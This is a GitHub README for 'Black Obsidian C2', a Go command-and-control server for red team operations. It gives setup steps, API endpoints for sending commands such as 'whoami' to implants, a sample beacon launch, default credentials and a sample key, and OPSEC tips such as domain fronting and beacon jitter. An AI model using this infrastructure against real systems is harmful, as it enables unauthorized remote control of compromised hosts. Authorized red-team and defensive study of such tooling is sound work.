๐ค BLACK OBSIDIAN C2
October 31, 2025 ยท View on GitHub
๐ค BLACK OBSIDIAN C2
Modern, realtime, minimalist Command & Control server built in Go with PocketBase
โฌ BLACK OBSIDIAN - Control Panel for Red Team Operations
โโโ Realtime Implant Management
โโโ AES-256 Encryption
โโโ Multi-Platform Support
โโโ Modern Web Dashboard
๐ Description
Black Obsidian is a next-generation C2 (Command & Control) server designed for professional Red Team operations. Built with Go and PocketBase, it offers a modern and specialized alternative to complex C2 servers while maintaining agility, security, and customization ease.
Part of the LazyOwn ecosystem, Black Obsidian integrates seamlessly with implants such as:
Maleable Implant (Go Multi-Platform)
โจ Key Features
-
โ HTTPS/TLS Server with self-signed certificates
-
โ AES-256 Encryption for all communications
-
โ Realtime Management of connected implants
-
โ Modern Web Dashboard with dark hacker theme
-
โ Integrated Database (PocketBase SQLite)
-
โ Automatic CSV Logs per client
-
โ Pending Commands with execution status
-
โ Multi-Implant parallel support
-
โ Fully Functional REST API
-
โ Scalable and customizable architecture
๐ ๏ธ Requirements
Go 1.20+
-
OpenSSL (for certificate generation)
-
Linux/macOS/Windows with Go support
-
Port 4444 available (or customizable)
Go Dependencies
go get github.com/pocketbase/pocketbase
๐ฆ Installation
- Clone Repository
git clone https://github.com/grisuno/BlackObsidianC2.git
cd BlackObsidianC2
- Generate SSL Certificates
# Generate private key
openssl genpkey -algorithm RSA -out key.pem -pkeyopt rsa_keygen_bits:2048
# Generate self-signed certificate
openssl req -new -x509 -key key.pem -out cert.pem -days 365 \
-subj "/C=CL/ST=Hack/L=World/O=C2/CN=127.0.0.1"
# Convert to PKCS#8 (required by Go)
openssl pkcs8 -topk8 -nocrypt -in key.pem -out key_go.pem
- Compile
go build -o c2-server
- Run
export TLS_CERT=./cert.pem
export TLS_KEY=./key_go.pem
export C2_AES_KEY=18547a9428b62fdf2ba11cebc786bccbca8a941748d3acf4aad100ac65d0477f
./c2-server serve --https=0.0.0.0:4444
๐ Quick Start
Access Dashboard
https://127.0.0.1:4444/dashboard.html
Create Admin User
./c2-server superuser create LazyOwn@local.local LazyOwn
Login Credentials Username: LazyOwn@loacl.local
Password: LazyOwn
๐ก API Endpoints
Endpoint Method Description
- /login POST Authenticate user
- /get_connected_clients GET List active implants
- /pleasesubscribe/v1/users/{client_id} GET Fetch pending commands
- /pleasesubscribe/v1/users/{client_id} POST Submit command results
- /issue_command POST Issue command to implant
๐ Security Features
Encryption All communications use AES-256-GCM encryption:
// Example encryption in handlers
encryptedData, err := AESEncrypt([]byte(sensitiveData))
TLS Configuration
TLS 1.2 - 1.3
Strong cipher suites only
Certificate pinning support
Authentication
Basic auth for initial login
Session tokens with expiration
Superuser role management
๐ Project Structure
black-obsidian/
โโโ main.go # Entry point
โโโ handlers.go # API handlers
โโโ crypto.go # AES encryption functions
โโโ schemas.go # Database schemas
โโโ web/ # Web dashboard
โ โโโ dashboard.html
โ โโโ css/
โ โโโ js/
โ โโโ img/
โโโ pb_data/ # PocketBase database
โโโ sessions/ # Client logs (CSV)
โโโ go.mod
โโโ go.sum
โโโ README.md
๐ง Configuration
Environment Variables
TLS_CERT # Path to SSL certificate
TLS_KEY # Path to SSL private key
C2_AES_KEY # AES encryption key (64 hex chars)
POCKETBASE_DIR # Database location (default: ./pb_data)
Encryption Key Generation
# Generate random 256-bit AES key
openssl rand -hex 32
# Output: 18547a9428b62fdf2ba11cebc786bccbca8a941748d3acf4aad100ac65d0477f
๐ Usage Examples
Issue Command
python3 app.py
or manual
curl -k -X POST https://127.0.0.1:4444/issue_command \
-d "client_id=linux_go&command=whoami" \
-H "Authorization: Bearer YOUR_TOKEN"
Get Connected Clients
curl -k -X GET https://127.0.0.1:4444/get_connected_clients \
-H "Authorization: Bearer YOUR_TOKEN"
๐ Integration with LazyOwn Ecosystem
Black Obsidian is designed to work with LazyOwn implants:
# Example: Black Sand Beacon (Linux)
./black-sand-beacon \
--c2=https://127.0.0.1:4444 \
--client-id=linux_go \
--aes-key=18547a9428b62fdf2ba11cebc786bccbca8a941748d3acf4aad100ac65d0477f
๐ก๏ธ OPSEC Recommendations
Use VPN/Proxy for C2 infrastructure
Rotate AES keys periodically
Enable firewall rules to restrict access
Use domain fronting for HTTPS traffic
Implement jitter in beacon callbacks
Monitor logs for anomalies
๐ค Contributing
Contributions welcome! Please:
Fork the repository
Create feature branch (git checkout -b feature/AmazingFeature)
Commit changes (git commit -m 'Add AmazingFeature')
Push branch (git push origin feature/AmazingFeature)
Open Pull Request
โ๏ธ Legal Disclaimer
Black Obsidian is designed for authorized penetration testing and red team operations only. Unauthorized access to computer systems is illegal. Ensure you have explicit written authorization before conducting any offensive security activities.
๐ License
This project is licensed under the GPLv3 - see LICENSE file for details.
๐จโ๐ป Author
grisun0 - LazyOwn Red Team Operator & Security Researcher
GitHub: @grisuno
Twitter: @lazyown.redteam
Medium: @lazyown.redteam
๐ Related Projects
-
Pro Bof's for Black Basalt Beacon Only for patreons loader.x64.o loader_fluc.x64.o shellcodeloader.x64.o sudo.x64.o getsystem.x64.o (and their soources)
๐ Support
For issues, questions, or suggestions:
Open an Issue
Start a Discussion
Built with โฌ obsidian by LazyOwn Red Team operators, for the world Red Team operators.